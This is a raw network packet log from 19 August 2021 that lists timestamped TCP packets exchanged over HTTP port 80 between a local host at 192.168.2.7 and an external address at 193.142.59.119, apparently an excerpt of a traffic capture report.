Aug 19, 2021 07:53:39.768719912 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768753052 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768763065 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768785954 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768796921 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768815994 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768827915 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768846035 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768857956 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768874884 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768882036 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768904924 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768917084 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768934965 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768948078 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768965960 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.768973112 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.768996954 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769004107 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769028902 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769041061 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769059896 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769068003 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769090891 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769100904 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769120932 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769130945 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769153118 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769165993 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769186974 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769210100 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769218922 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769228935 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769258022 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769282103 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769292116 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769296885 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769323111 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769334078 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769364119 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769366980 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769398928 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769409895 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769431114 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769445896 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769459963 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769470930 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769489050 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769500971 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769516945 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769527912 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769546032 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769550085 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769575119 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769584894 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769603968 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769612074 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769629955 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769643068 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769659042 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769671917 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769687891 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769696951 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769716024 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769728899 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769747972 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769778967 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769809008 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769814968 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769841909 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769849062 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769859076 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769870996 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769877911 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769886017 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769901991 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769934893 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769947052 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769958973 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.769978046 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.769989014 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770014048 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.770016909 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770030022 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.770045042 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770062923 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.770073891 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770081997 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.770102024 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770116091 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.770129919 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770143986 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.770158052 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770170927 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.770184994 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770203114 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.770217896 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770246983 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770255089 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.770272017 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.770276070 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770297050 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.770298004 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770315886 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.770334959 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770337105 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.770363092 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770382881 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.770389080 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770406008 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.770415068 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770428896 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.770442963 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770457983 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.770469904 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770473957 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.770489931 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770507097 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770524025 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770543098 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770559072 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770590067 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770605087 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.770616055 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770643950 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770646095 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.770673037 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.770673990 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.770692110 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.770715952 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.772500038 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.772562027 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.772787094 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.772835970 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.793349981 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.793390989 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.793416977 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.793442011 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.793448925 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.793467045 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.793473959 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.793492079 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.793498039 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.793517113 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.793526888 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.793541908 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.793545008 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.793565035 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.793567896 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.793589115 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.793596983 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.793613911 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.793617010 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.793632984 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.793638945 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.793653011 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.793672085 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.793709993 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.793746948 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.793751955 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.793776989 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.793792009 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.793804884 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.793807983 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.793834925 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.793848038 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.793874025 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.794179916 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.794228077 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.794420958 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.794467926 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.794517994 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.794548035 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.794559956 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.794579029 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.794588089 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.794609070 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.794625998 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.794640064 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.794651031 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.794668913 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.794682026 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.794698954 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.794711113 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.794728041 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.794749022 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.794754982 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.794776917 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.794790030 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.794799089 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.794819117 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.794837952 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.794851065 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.794858932 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.794881105 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.794894934 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.794910908 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.794913054 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.794939995 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.794958115 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.794970036 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.794979095 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795001030 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795025110 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795031071 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795042992 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795063972 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795073986 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795094013 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795109034 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795140028 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795154095 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795188904 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795207024 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795213938 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795234919 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795238972 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795252085 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795263052 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795273066 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795291901 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795303106 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795322895 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795331955 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795356035 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795367956 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795388937 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795394897 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795422077 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795430899 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795453072 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795461893 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795484066 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795497894 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795516968 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795517921 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795551062 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795567989 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795583963 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795593023 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795617104 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795628071 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795650005 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795660019 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795682907 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795702934 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795715094 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795732975 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795747995 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795758009 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795779943 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795793056 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795813084 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795821905 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795846939 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795860052 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795878887 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795891047 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795912027 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795923948 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795944929 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795953035 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.795978069 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.795989037 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.796006918 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.796029091 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.796058893 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.801986933 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802051067 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.802217960 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802254915 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802267075 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.802287102 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802299023 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.802315950 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802339077 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.802344084 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802365065 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.802372932 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802396059 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.802401066 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802417040 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.802428961 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802439928 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.802460909 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802476883 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.802493095 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802520990 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802525043 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.802551031 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802565098 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.802580118 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802589893 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.802608013 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802617073 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.802635908 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802649021 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.802675009 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.802691936 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802726030 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802752972 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.802757978 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802768946 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.802791119 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802813053 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.802824020 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802828074 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.802856922 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802869081 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.802890062 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802894115 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.802922964 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802930117 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.802954912 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802963972 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.802987099 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.802999020 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803019047 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803023100 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803050995 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803059101 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803085089 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803129911 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803137064 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803138971 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803169966 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803183079 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803200960 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803222895 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803246975 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803256989 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803280115 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803294897 CEST	49738	80	192.168.2.7	193.142.59.119
